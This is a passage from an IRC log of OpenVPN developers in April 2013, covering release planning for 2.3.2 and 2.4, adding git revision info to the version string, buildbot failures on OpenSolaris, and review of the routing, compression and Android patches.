and "os support" side of things (so not so much work for the crypto geeks :-) unless you want to add elliptic curves and stuff...) 13:47 <@mattock> I'd like to know when to release and what to include 13:47 < m-a> mattock: if there is anything substantial on the table, 2.4 might be OK, but I haven't been paying attention, so unless there's some killer feature I'd say 2.3.2 with minor touch-ups would be fine. What's the story about socket.c, URL to tickets, mailing list or anything? 13:47 <@andj> Mattock, is there a 2.4 todo list somewher? 13:48 <@mattock> andj: no, afaik 13:48 <@cron2> m-a: Arne sent a big patchset to the list on Nov 30 13:48 <@mattock> cron2: was there something blocking inclusion of those patches to master? 13:48 < m-a> cron2: OK, would have to dig that out, needs to be done offline by yours truly, not during the IRC conference 13:48 <@cron2> mattock: "lack of brains" - large and complex changes 13:49 <@mattock> ah :) 13:49 <@cron2> seems nobody but plaisthos and me wants to touch the deep innards, and I had too much other things to keep me busy 13:49 <@andj> I think the plan for 2.4 was mostly a cleanup release 13:49 <@cron2> cleanup-and-refactoring-stuff 13:50 <@mattock> let's add a page for 2.4 to the wiki... 13:50 <@mattock> no need to go heavyweight and start creating <n> tickets to trac 13:51 <@mattock> ah, we have page already: https://community.openvpn.net/openvpn/wiki/OpenVPN2.4 13:51 <@cron2> regarding 2.3.2, we have the tls-cipher translation bugfix and the USE_SSL bugfix in that branch right now 13:51 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) 13:51 <@andj> Are there any urgent trac tickets for 2.4 13:51 < m-a> anything pending with respect to PolarSSL 1.2.x support, given that this was quite new? 13:51 <@cron2> m-a: have not heard back anything 13:51 < m-a> FreeBSD builds with it, but I haven't tested it beyond "make check" 13:52 <@andj> syzzer? 13:52 < m-a> (so that's progress from 2.3.0 already :-)) 13:52 <@cron2> I tried to get the openwrt people to update their build, but the maintainer is too busy 13:52 <@mattock> good question, I've skimmed through 1/3 of the tickets and they've been 90% bug reports 13:52 < syzzer> i haven't heard anthing on polar 1.2 either 13:54 <@mattock> I'll update the 2.4 wiki page 13:55 <@mattock> ok, page updated: https://community.openvpn.net/openvpn/wiki/OpenVPN2.4 13:55 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) 13:56 <@mattock> cleaned up formatting 13:56 <@mattock> so 2.3.2... is the release imminent? 13:57 <@mattock> I recall it was due a few weeks ago :) 13:58 <@cron2> I could do tagging and version.m4 etc. this weekend... 13:58 <@mattock> ok, if all the pieces are in place 13:58 <@cron2> well, there's a couple of open trac tickets :-) but nothing that screams "MUST BE FIXED YESTERDAY!" to me 13:59 <@mattock> cron2: which ones? 13:59 <@cron2> there are many open tickets 13:59 <@mattock> oh, actually, I'd like to have the openvpn-gui installer included in openvpn 2.4 release 13:59 <@cron2> (I have no particular ones in mind) 13:59 <@mattock> not really related to 2.4 code, but still relevant 13:59 <@mattock> ok 14:00 <@mattock> anything else on any of the topics? 14:00 <@mattock> or any topics we've missed? 14:01 <@cron2> there's "openvpn --version" which right now only says 2.3_master for master. Dazo and I discussed having a commit ID in there as well... 14:01 <@mattock> ah, that'd be nice 14:01 <@mattock> wasn't there such an ID earlier? 14:02 * cron2 is waiting for dazo to send a patch, tbh :-) - I just brought it up to gather feedback 14:02 <@mattock> did it blow during Alon's refactoring? 14:02 <@cron2> it's currently printing the git id in a separate line because Alon said "we don't want it in the version!!" 14:02 <@cron2> OpenVPN 2.3_master ... 14:02 <@cron2> git revision: refs/heads/as_work/45f43a41caf14692 14:02 <@mattock> I assume he gave no reason for his opinion? 14:02 <@cron2> Because This Is The Only True Way 14:03 <@mattock> ok, so now it gives stuff like this: 14:03 <@mattock> OpenVPN 2.3.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Mar 28 2013 14:04 <@mattock> it's full of stuff not really related to the version number 14:04 <@mattock> I wonder why adding a Git commit ID would be such as Bad Thing(tm) 14:04 <@mattock> go for it :D 14:04 <@cron2> haha :-) 14:04 * cron2 will poke dazo tomorrow 14:04 <@mattock> ok 14:04 <@mattock> anything else we'd like to discuss? 14:04 <@mattock> we've been quick today 14:06 <@mattock> oh, jamesyonan: how's your Git-fu improving? 14:06 <@mattock> feel adventurous enough to use it for OpenVPN 3.0? 14:06 <@jamesyonan> possibly 14:07 <@mattock> ok, we'll put the code to Git and move on from there 14:07 <@mattock> if there's nothing else, I'd call it a day 14:08 <@mattock> it seems everyone has dispersed already :P 14:08 < syzzer> nothing else from my side 14:08 < m-a> not entirely 14:09 * cron2 is still here 14:09 <@andj> nothing else from my side 14:09 <@mattock> ok, sounds good 14:09 <@mattock> I'll write the usual summary tomorrow 14:09 <@andj> still here though 14:09 <@mattock> do we want to have a meeting next week? 14:10 <@mattock> we could aim for weekly or maybe biweekly meetings maybe 14:10 <@mattock> "meeting when needed" seems to end up in a 6 month pause :) 14:10 <@mattock> I think regular meetings have been fairly useful 14:10 <@mattock> opinions? 14:10 <@andj> sounds good 14:11 <@cron2> biweekly 14:11 <@mattock> biweekly, but more often _if_ needed 14:11 <@mattock> to keep the routine but not overly stress people 14:12 < syzzer> yup, sounds good 14:12 <@mattock> ok, meeting next week if needed, otherwise the week after that 14:13 <@mattock> ok, I'll take the cat out and then hit the sack :P 14:13 <@mattock> talk to you later! 14:13 <@andj> k, nice speaking to you! 14:13 <@mattock> bye all! 14:13 <@cron2> *wave* 14:14 <@mattock> \o/ 14:14 < syzzer> bye 14:25 < m-a> bye everyone 14:26 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 14:28 <@ecrist> l8r m-a 15:28 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has quit [Ping timeout: 240 seconds] 15:40 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 16:20 -!- mattock is now known as mattock_afk 19:15 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 264 seconds] 19:28 -!- raidz is now known as raidz_away 20:10 <@vpnHelper> RSS Update - tickets: #281: Segmentation Fault due to method route_list_add_vpn_gateway <https://community.openvpn.net/openvpn/ticket/281> --- Day changed Fri Apr 19 2013 02:15 <@cron2> now that sounds interesting... normally there should be nothing whatsoever in there that could cause a crash, *except* route_list *rl not being initialized because "no route statement seen yet"... 03:21 <@plaisthos> re 04:56 -!- dazo_afk is now known as dazo 05:38 <@dazo> aaarrrrgggghh!! the config-version.h[.in] is a convoluted non-sense .... what's the point of using a single-line template to generate a single line config-version.h !?! 05:40 <@cron2> correct world order? 05:40 <@cron2> can't have single-line templates generate multi-line files! 05:40 <@dazo> hehe 05:40 <@dazo> I'm seriously considering to ditch config-version.h.in ... and simply do: echo "blabla" > config-version.h inside Makefile.am directly 05:41 <@dazo> I don't see the need for adding sed complexity to parse a template to generate the same line 05:41 <@cron2> but if you use sed, you can then have extra checks in configure to find out which sub-version of sed is used!! 05:42 <@dazo> hahaha 05:42 <@dazo> if it makes you happier, I can probably make use of awk instead ... and still ditch the template ;-) 05:43 <@cron2> but only if you add proper configure tests to find the right version of awk! can't use nawk if gawk is there! 05:44 <@cron2> but seriously: if the built-in mechanism for "take this template, make this output" are already there, we can use them instead of writing extra scripts 05:44 <@dazo> this is the template: #define CONFIGURE_GIT_REVISION "@CONFIGURE_GIT_REVISION@" 05:44 <@dazo> and this is the sed line to handle that: $(SED) "s#@CONFIGURE_GIT_REVISION[@]#$${CONFIGURE_GIT_REVISION}#g" "$(srcdir)/config-version.h.in" > config-version.h.tmp 05:45 <@cron2> ok, that's a bit stupid, I thought there was a "DEF_SUBST_FILE(config-version.h)" or such 05:45 <@dazo> I want to add one more line to this "regime" .... and it ends up being even less readable 05:45 <@dazo> nope ... as I said ... convoluted non-sense :) 05:55 <@dazo> andj: syzzer: Just wanted to say I've been using "release/2.3/f375aa67cc5e8c7e" since March 22 with PolarSSL against 3 different OpenVPN servers (with OpenSSL) on an almost daily basis without having any issues 05:55 <@dazo> this covers tun and tap configurations, and two of the servers also require auth-user-pass 05:56 <@dazo> can't even say I have noticed any changes in performance either 05:56 <@dazo> cron2: How is this for a --version line in your eyes? 05:56 <@dazo> OpenVPN 2.x_git [git:master/662ce6acc065bddf+] x86_64-unknown-linux-gnu [SSL (PolarSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Apr 19 2013 05:57 <@dazo> (the + sign indicates there are changed files .... and if you have just done 'git add' without committing them, it is a * there) 05:57 <@cron2> extremely nice! 05:58 <@dazo> (and if you have both unstaged and staged files .... it says +* 05:58 <@plaisthos> when the +* added? 05:58 <@plaisthos> in cofigure phase? 05:58 <@dazo> compile 05:58 <@plaisthos> oh nice 05:58 <@cron2> I'm wondering about the "2.x", though - whether it might make sense to have that as "2.3_git" so one can immediately see "ah, this is the master branch based on 2.3" 05:58 <@plaisthos> how does the makefile detect that? 05:58 <@cron2> stupid wording, but anyway 05:59 <@dazo> cron2: well ... that should be extracted from the committish actually ... as master can also contain 2.4 stuff 05:59 <@dazo> the master branch is kind of "version-less" 06:00 <@dazo> if you change to the release/2.3 branch .... it says:  [git:release/2.3/$committish] 06:00 <@cron2> in my mind, there's a "master" that is "between 2.3 and 2.4", and a "master" that is between 2.4 and 2.5... so it might be nice to be reminded of that when coming across a version string in a few months in someones log file... 06:00 <@cron2> no, not there, but in the "2.x_git" bit 06:00 <@cron2> the bit inside the [git:..] is perfect 06:01 <@dazo> however ... doing a 'make dist' inside this tree ... creates now a openvpn-2.x_git.tar.gz file 06:02 <@dazo> But I think that's fine ... if we want to fix that .... it's going to be messy .... as you need to manipulate the configure.as version string, run autoreconf again and all that stuff 06:02 <@dazo> configure.ac 06:02 <@cron2> that's good enough, if someone wants to distribute git trees as tarball, he should know what he's doing 06:02 <@dazo> exactly 06:03 * dazo kicks out the "git revision" line in --version too 06:04 <@dazo> okay ... this is the convoluted version .... with the template stuff .... http://www.fpaste.org/MFfQ/ 06:04 <@plaisthos> So for my next release I have to rename my git branch :) 06:05 <@plaisthos> android_2.3rc1+ds/2.3/$committish will confuse users 06:07 <@plaisthos> dazo: looks 06:07 <@cron2> looks good to me 06:08 <@plaisthos> To do it the ``real proper way'' you probably need to check for git in configure 06:08 <@plaisthos> but I think we can just assume git to be there for people compiling git versions .... 06:08 <@dazo> plaisthos: I'm just extending what Alon already did ... so I expect his work to be Flawless And Perfect (tm) 06:08 <@cron2> there are git checks in configure.ac 06:08 <@plaisthos> dazo: so configure already checks for git? Interesting 06:09 <@dazo> AC_ARG_VAR([GIT], [path to git utility]) 06:09 <@dazo> AC_MSG_CHECKING([git checkout]) 06:09 <@plaisthos> checking for git... git 06:23 <@dazo> okay ... here is version 2 .... kicking out config-version.h.in and sed 06:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 07:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:03 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:36 <@cron2> dazo: have you sent anything? the fpaste above is still with-sed 07:37 <@dazo> huh!? I thought I pasted the right one 07:37 * dazo tries again 07:37 <@dazo> ahh ... forgot to paste the new URL 07:37 <@dazo> duh 07:37 <@cron2> haha 07:37 <@dazo> http://www.fpaste.org/ToHE/ 07:38 <@cron2> ack :) 07:38 <@dazo> okay, I'll send that one to the ML then :) 07:38 <@cron2> "both-feature-ack-and-code-ack" 07:41 <@dazo> cron2: if you just do it on the ML ... I'll apply it and push out 07:41 <@cron2> quick, before anyone notices! 07:41 <@dazo> hehehe 07:42 <@cron2> still in greylisting somewhere 07:42 * dazo received it just now 07:42 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/7522 07:42 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:45 <@cron2> there you go. 07:45 <@dazo> thx! 07:49 < syzzer> dazo: thanks for the feedback on the polar version. Good to know it's running fine. Are you using blowfish? 07:51 <@dazo> syzzer: blowfish on one and aes on the other ones 07:52 < syzzer> ah, nice, since blowfish is new in polar that one is especially nice to get some feedback on 08:06 <@cron2> which brings me to... I wanted to get mattock to run the t_client tests on the polar buildbot builds as well... 08:06 * cron2 summons mattock 08:41 <@plaisthos> !git 08:41 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 08:41 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 08:45 <@plaisthos> dazo: did you push to the sf git repo? 08:46 <@dazo> plaisthos: I thought I did ... until I saw my push failed :) 08:49 <@dazo> plaisthos: okay, should be out now 08:53 <@cron2> both git and sf? 08:53 <@cron2> github 08:53 <@vpnHelper> RSS Update - testtrac: Improve the git revision tracking <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=fb6210418162ec036289117f6f1b6705b1d0d1d4> 08:53 <@dazo> yupp 08:53 <@dazo> push-all 09:40 <@cron2> mmmh 09:40 <@cron2> buildbot is not exactly happy with that change 09:41 <@cron2> at least on opensolars 09:50 <@cron2> mmmh, this is something with the buildbot setup and blanks in the directory name 09:55 <@cron2> + MISSING='${SHELL} /export/home/gert/path with blanks/openvpn/missing' 09:55 <@cron2> + eval '${SHELL} /export/home/gert/path with blanks/openvpn/missing --run true' 09:55 <@cron2> argh 10:13 -!- raidz_away is now known as raidz 10:58 <@cron2> mmmh. but it still compiles nicely for me... 11:02 -!- mattock_afk is now known as mattock 11:02 <@cron2> .oO(only a windows person can create directory names with a blank *at the end*) 11:03 <+pekster> Works for me on ext4 under Linux ;) 11:03 <@mattock> cron2: polarssl connectivity tests will be trivial, I'll add them right away 11:03 <@mattock> famous last words(tm) 11:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC - http://znc.in] 11:41 <@cron2> pekster: it works nicely but no unix person would ever do that as "production" thingie 11:41 * cron2 glares towards mattock 11:42 <+pekster> True. Even after I knew what I did, seeing "two" test directories ('test' and 'test ') was still really odd 11:44 <@cron2> buildbot explodes on solaris, and I can't reproduce this - it *seems* to be related to directories with blanks in them and at the end, but "not just that" 11:52 <@cron2> or maybe it's just "configure exploding if there is old cruft lying around still" 11:54 <@mattock> what have I done now? :P 11:55 <@cron2> this is a very good questions :-) 11:56 <@cron2> mattock: half your buildbots have builder names with blanks in, and *ending* in blanks, which makes navigating these directories in case of problems *somewhat* annoying 11:56 <@cron2> and for some weird reason, all files on the osol10 box belong to root, even if buildbot is not running as root 11:56 <@cron2> -rw------- 1 root root 68 2013-03-23 12:07 config-version.h 11:56 <@mattock> well, I blame opensolaris 11:56 <@cron2> ah, there 11:57 <@mattock> I don't see how buildbot configuration could trigger that kind of behavior 11:57 <@cron2> well, the "blanks all over the place" is "buildbot config", but that was not the actual problem (it upsets configure, but it seems to cope with it) 11:57 <@cron2> the reason why buildbot exploded was that there were old files lying around which didn't have the new #define dazo added today 11:58 <@mattock> ah 11:58 <@cron2> the "root" thing was me starting buildslave as root, stupid me 12:03 <@mattock> andj, syzzer: openvpn@fox-it.com is now on the security list 12:05 <@cron2> argh, deleted my buildbot.tac 12:13 <@dazo> cron2: odd .... config-version.h should have been re-created :/ 12:15 <@cron2> dazo: I assume that *that* was a solaris shell/make/... weirdness 12:15 <@dazo> ahh, okay 12:15 <@cron2> it worked on all builders except those four that ended with --enable/disable-ssl<blank> 12:17 <@cron2> (and on all other platforms, it worked for all) 12:24 <@mattock> cron2: I'll have to restart the buildmaster a few times 12:25 <@cron2> the slaves will have to cope... (and anyway, osol10 is now happy again) 13:04 <@cron2> plaisthos: if you feel bored, could you have a look at #281? the problem is very clear, but I'm not sure what a "clean" way would be to fix that 13:08 <@vpnHelper> RSS Update - tickets: #282: Preserve client's default route if networks conflict <https://community.openvpn.net/openvpn/ticket/282> 13:25 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Read error: Connection reset by peer] 13:29 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 13:40 -!- dazo is now known as dazo_afk 13:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 13:45 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:09 <@mattock> cron2: I'll have to add the polarssl connectivity tests later... it was not as trivial as I thought, lol :D 15:10 <@mattock> there's too much magic in the buildmaster config with all the exceptions going on 15:11 <@cron2> "trivial", heh :-) 15:11 <@cron2> but that's what I thought about #281... 16:12 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 260 seconds] 16:38 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: kernel upgrade, udev upgrade, interface rename, and new initscript. What could possibly go wrong during this reboot?] 16:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+v pekster] by ChanServ 19:06 -!- raidz is now known as raidz_away 19:49 <@plaisthos> cron2: I will have look when roote list is initialized 19:49 <@plaisthos> I know that it is initialized on max-routes and route config options 22:15 -!- Netsplit *.net <-> *.split quits: Tiaos 22:20 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel --- Day changed Sat Apr 20 2013 01:04 <@cron2> it is, but only if "route_option_list" exists... (options->routes) 04:08 * plaisthos just has learned about --route-gateway .... 04:17 <@plaisthos> I am not really what this option should do anyway 04:19 <@plaisthos> there is also a bug in process_ip_header, only if PIP_MSSFIX is active, extracting the dhcp server and client nat is done 04:19 <@plaisthos> I don't think this is right 04:23 <@plaisthos> the code for --route-gateway looks strange .... 04:25 <@plaisthos> and like a potential security problem 04:25 <@plaisthos> Whenever receiving a dhcp packet the code sets the gateway address to the ack of the dhcp packet 04:25 <@plaisthos> Nomatter where the packet came from or where it is going 04:44 <@plaisthos> I am not sure why anybody would want that ... 05:03 <@plaisthos> anyway patch for client-nat vs mssfix sent to ist 05:16 <@mattock> we may want to start reviewing the more difficult patches in the meeting... that has worked fairly well in the past 05:17 <@mattock> plaisthos: aren't some of your socket.c patches still lying around on the ml without being ACKed/NACKed? 05:17 <@mattock> fairly old ones 05:17 <@plaisthos> mattock: a lot of my patches :) 05:17 <@plaisthos> mattock: android patches and the dual stack client patches 05:18 <@plaisthos> I can prepare an update patchset against master but If I nobody will look at them that feels like wasted effort 05:18 <@mattock> let's review them in the next meeting to get them included in 2.4 05:19 <@mattock> there has historically been a tendency for difficult patchsets not to get proper review on the mailing list 05:19 <@mattock> and as we haven't had meeting for a while, the more difficult stuff has tended to get stuck 05:19 <@mattock> so, if you can, please update the patches and we'll arrange a meeting to review them 05:20 <@plaisthos> mattock: okay, will do 05:20 <@mattock> excellent, thanks! 05:20 <@plaisthos> cron2: is there reason for USE_COMP instead of ENABLE_COMP in the snappy patch? 05:22 <@mattock> plaisthos: I think it's for historic reasons 05:22 <@mattock> read: not any more 05:23 <@mattock> I think USE_COMP was what was used originally (=before Alon's refactoring) 05:23 <@mattock> I believe James was fine with changing USE_COMP to ENABLE_COMP 05:23 <@mattock> which would be in line with what we have in master atm, afaik 05:25 <@plaisthos> mattock: yeah. I wondered why cron2 did not change it to ENABLE_COMP in 2/5 05:26 -!- dazo_afk is now known as dazo 05:28 <@plaisthos> I would also like to have a server directive that pushes lzo if the client support lzo and snappy if the client supports snappy 05:29 <@plaisthos> right now snappy seems only useful for management interface users that parse IV_* values 05:30 <@mattock> yeah, some of james' patches are partially implemented, i.e. only do management interface stuff 05:30 <@mattock> that should be fixed I think 05:30 <@mattock> whether that's a requirement for the patches to be included needs to be discussed 05:30 <@mattock> -> lunch 05:42 <@cron2> re 05:43 <@cron2> plaisthos: this bug with PIP_MSSFIX is actually covered in patch 3/5 :) 05:45 <@cron2> plaisthos: well, James' code had USE_xxx for everything. I changed that to ENABLE_xxx for everything that has an --enable-xxx configure statement - USE_COMP OTOH is something defined internally, and those #defines do not follow any sort of naming convention, so I left it as it is 05:46 <@cron2> plaisthos: regarding client / push snappy: you can sort of do it today if you know what your clients are using by pushing snappy from --client-connect or ccd/ files, but you can't react on the IV_ things yet. This is on my TODO list, export the push-peer-info stuff via environment to client-connect and plugin 05:47 <@cron2> mattock: it's extra work, fairly independent of the underlying snappy infrastructure 06:13 <@cron2> oh sheeeet... this peer-info stuff is deeply entangled into username+password authentication on the server - it's only extracted from the initial TLS handshake if(verify_user_pass_enabled(session))... (ssl.c, about line 2056) 06:20 <@plaisthos> cron2: urgh 06:20 <@cron2> should be untangable (as it works if you send no user+pass info and have --password-optional or whatever it's called) 06:21 <@cron2> untangleable 06:21 <@cron2> whatever 06:21 <@cron2> let's not focus too much on *this* today - the snappy and push-peer-info stuff is useful on its own, even if we have not all server functionality yet 06:21 <@plaisthos> cron2: agreed 06:22 <@cron2> I'm willing to rename USE_COMP to "whatever", if we can agree on something - that's a minor thing 06:22 <@plaisthos> cron2: I looked at the smaller patches already. I did not have time to fight through the big snappy patch 06:22 <@plaisthos> just skimmed through it 06:24 <@plaisthos> and I want to resend my android and dualstack patches to the mailing list, rebased on -master 06:25 <@cron2> plaisthos: yeah, the snappy patch is tough, as it changes the compression model from "lzo yes/no" to "a framework with no/stub/lzo/snappy"... 06:25 <@cron2> and we definitely should take up the slack on dualstack and android patches as well, yes :-) 06:26 <@cron2> $daughter[1] is now 10 months old, and I have my evenings back (when they are very small, usually they keep you busy all evening - at some point, they sleep between 7 and 8 pm, and you can get some work done...) 06:26 <@plaisthos> cron2: :) 06:27 <@cron2> *this* was actually the thing that hit me worst about being a father - the time in the evening where I clean up my leftover work and go hacking just "was not there anymore" 06:28 <@cron2> saw your patch to process_ip_header(). Need to think about it, but seems James indeed overlooked yet another corner case (the old code failed to call the header modification for some combinations of flags and options) 06:29 <@plaisthos> Yeah. 06:32 <@cron2> that *is* actually quite a confusing logic "call function with flags set, inside unset flags on certain conditions, and if anything is left, examine whether work needs to be done" 06:33 <@plaisthos> na 06:33 <@plaisthos> it is not 06:34 <@plaisthos> think more like it do process header and possible do the following things 06:34 <@cron2> well, it confused me, and seems whoever else patched around that area as well :) 06:34 <@plaisthos> the function then remove all flags which are not used 06:34 <@plaisthos> and then proceeds whichever is left 06:34 <@cron2> yeah, I understood the logic eventually, but seems "not fully" 06:34 <@plaisthos> Could be a bit better the logic 06:35 <@plaisthos> It overengenered anyway 06:35 <@cron2> slightly 06:35 <@plaisthos> it could just get a IN/OUT flag 06:35 <@plaisthos> and then decided what to do 06:38 <@plaisthos> *sigh* that is from getting merging patches 06:38 <@plaisthos> the newer android patches depend on dual stack patches 06:39 <@cron2> oi (unsurprisingly, though). So let's try to get it piece by piece... and this will be a fair bit of work 06:42 <@plaisthos> cron2: yeah. 06:43 * plaisthos tries to find how to git cherry pick without commit 06:43 <@plaisthos> e.g. cherry pick the fix into the commit 06:43 <@cron2> git diff | patch 06:44 <@cron2> or just cherry pick and then "git commit --amend" when the rest is done? 06:53 * cron2 is now reading tls_pre_decrypt() to understand how session->opt->es comes to life... (and how it might be related to mi->context.c2.es) 07:03 <@cron2> ok, enough to think now... still not understanding this session stuff, but I'll just go and instrument it with lots of printf() :-) 07:05 <@cron2> weekend shopping now... bbl 07:09 * plaisthos hates git 07:09 <@plaisthos> git cherry-pick abort does not only abort the last cherry but throws away all your work 07:09 <@plaisthos> grrrrrrrrrrrrrrrrrrrrrr 07:46 <@cron2> ugh 07:54 <@plaisthos> Hm 07:55 <@plaisthos> If I build dual stack patches and android as two seperate patchsets I will have (minor) conflicts in socket.c 07:59 <@cron2> PPI=IV_VER=1.0IV_PLAT=iosIV_NCP=1IV_LZO=1 07:59 <@cron2> hah 07:59 <@cron2> I'm not claiming that I understand what I'm doing, but this is "push-peer-info on the server side stuffed into the environment that --client-connect sees" 08:05 <@cron2> now where should a function for "take this string, parse it, put result into the per-instance environment?" go? multi.c? 08:29 <@cron2> ok, here we go... first iteration of "make peer_info visible" patch is done :) 08:45 -!- mattock is now known as mattock_afk 09:22 <@plaisthos> I sent the android patches 11:34 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 13:14 <@cron2> hah, with my new patch, the management interface now gets the push-peer-info stuff *twice*... 13:14 <@cron2> once is directly sent via man_output_peer_info_env(), disguising itself as "this is environment" - and the other is "and here's the client environment!" which *now* contains the stuff as well... 13:15 <@cron2> this is sort of stupid 13:44 <@cron2> patch sent 15:59 <+pekster> Grr, a couple Gentoo dev's are proposing use of execvpe() instead of execve() for the sole purpose of avoiding a rebuild when `ip` or `ifconfig` binary path changes after the initial compile 16:11 <+pekster> Cute, and the patch re-rwites it for openvpn_execve(), so all callers are stuck with that behaviour. Dumb patch. 17:14 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 17:14 -!- chantra [~chantra@unaffiliated/chantra] has quit [Client Quit] 17:23 <@plaisthos> I move ip and ifconfig around at least five times a day 17:23 <@plaisthos> this sound really good 17:26 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 17:28 <+pekster> Yea, I commented on the bug, but my solution of requiring iproute2 support and passing openvpn's --iproute option was deemed "too invasive." I left a comment about reducing security for convenience, but at this point I stopped caring. It's a stupid debate and I'll just build it myself if they break security features for lazyness 17:28 -!- chantra [~chantra@unaffiliated/chantra] has quit [Client Quit] 17:30 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 17:37 -!- dazo is now known as dazo_afk 18:24 <@vpnHelper> RSS Update - tickets: #283: Small improvements to RHEL init script <https://community.openvpn.net/openvpn/ticket/283> 18:36 <@vpnHelper> RSS Update - tickets: #284: Add --up-pre with the same functionality as --down-pre <https://community.openvpn.net/openvpn/ticket/284> --- Day changed Sun Apr 21 2013 03:02 <@cron2> pekster: I've seen that bug, and already wondered why they have to be so convoluted and can't just bump the openvpn ebuild to force a recompile after ifconfig/ip change path... 03:03 <@cron2> after all, they break Xorg about once a month with driver ABI changes, so people are used to having to rebuild stuff 04:22 <@cron2> plaisthos: what is route_order() used for? you introduce it in 2/5, modify it in 4/5, but the only "use" is in 2/5 which calls... ifconfig_order() 04:24 <@plaisthos> cron2: lemme check 04:25 <@plaisthos> cron2: you are right 04:25 <@plaisthos> the if(ifconfig_order() == ROUTE_BEFORE_TUN) { should have been 04:25 <@plaisthos> route_rder() == ROUTE_BEFORE_TUN 04:31 <@cron2> yup :) 04:45 <@plaisthos> I could also change ifconfig_order() == ROUTE_AND_IFCONFIG_BEFORE_TUN :) 04:45 <@plaisthos> but it still a strange inline function ... 04:50 * cron2 spent quite some time cleaning that up (by bringing OpenBSD in line, leaving Windows as the sole weird platform) and you bring it all back :-) 04:54 <@plaisthos> cron2: :) 04:54 <@plaisthos> Yeah. Anroid API expects to have all information when you want your tun 04:54 <@plaisthos> You say. I want a tun with Ip/mask and routes and dns server. And then android returns a fd 04:56 <@cron2> fully understood. 04:56 <@cron2> same thing on iOS 04:57 <@cron2> and I think the way you do it is the least intrusive into the openvpn code - but it's still adding confusion to some already-convoluted code bits 04:57 <@plaisthos> I have no idea what the iOS API does apart from also using utun 04:58 <@cron2> "here, take that data structure and give me a file descriptor", if I understood James right 04:58 <@plaisthos> :) 04:58 * cron2 is not allowed to look at that 04:58 <@plaisthos> in the header files for utun are many iOS ifdefs 04:58 <@cron2> (and James is not allowed to talk about it in great detail...) 04:59 <@plaisthos> so you could probably reverse engineer it but what for? 04:59 <@cron2> you could write code that would not run, because it would be missing the necessary signatures :-) 06:19 <@plaisthos> I thought now when OpenVPN Settings will begin using my code too it is a good time to get the stuff into the official release 06:32 <@plaisthos> cron2: I sent a fixed version of 2/5 to the mailing list 14:43 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 15:10 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 15:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:13 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:13 -!- dazo_afk is now known as dazo 15:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 15:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:15 -!- mode/#openvpn-devel [+v pekster] by ChanServ 17:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 17:05 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:05 -!- dazo_afk is now known as dazo --- Day changed Mon Apr 22 2013 01:46 * cron2 is now away for 2 days (family, grandma's 95th birthday), so don't be surprised if I do not react right away 01:47 <+krzee> happy 95th to gramma! 02:24 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 245 seconds] 03:20 < syzzer> morning! I see I should have read up on the irc channel before replying on the ml. You guys were already aware of the ifconfig_order()/route_order() thingy :) 03:20 <@cron2> yep, that's why plaisthos sent a v2 of that particular patch :-) 03:22 < syzzer> darn, okay. Time to get more coffee, heh. 03:24 < syzzer> but wait, the fixed version still has 'if ((ifconfig_order() == ROUTE_AFTER_TUN) && ...' 03:24 <@cron2> it has? haven't actually looked, tbh, just saw a new version appear 03:25 < syzzer> I'll get some coffee before actually answering that question, just to be sure ;) 03:26 <@cron2> I'll drink my tea and then check as well... have some 30 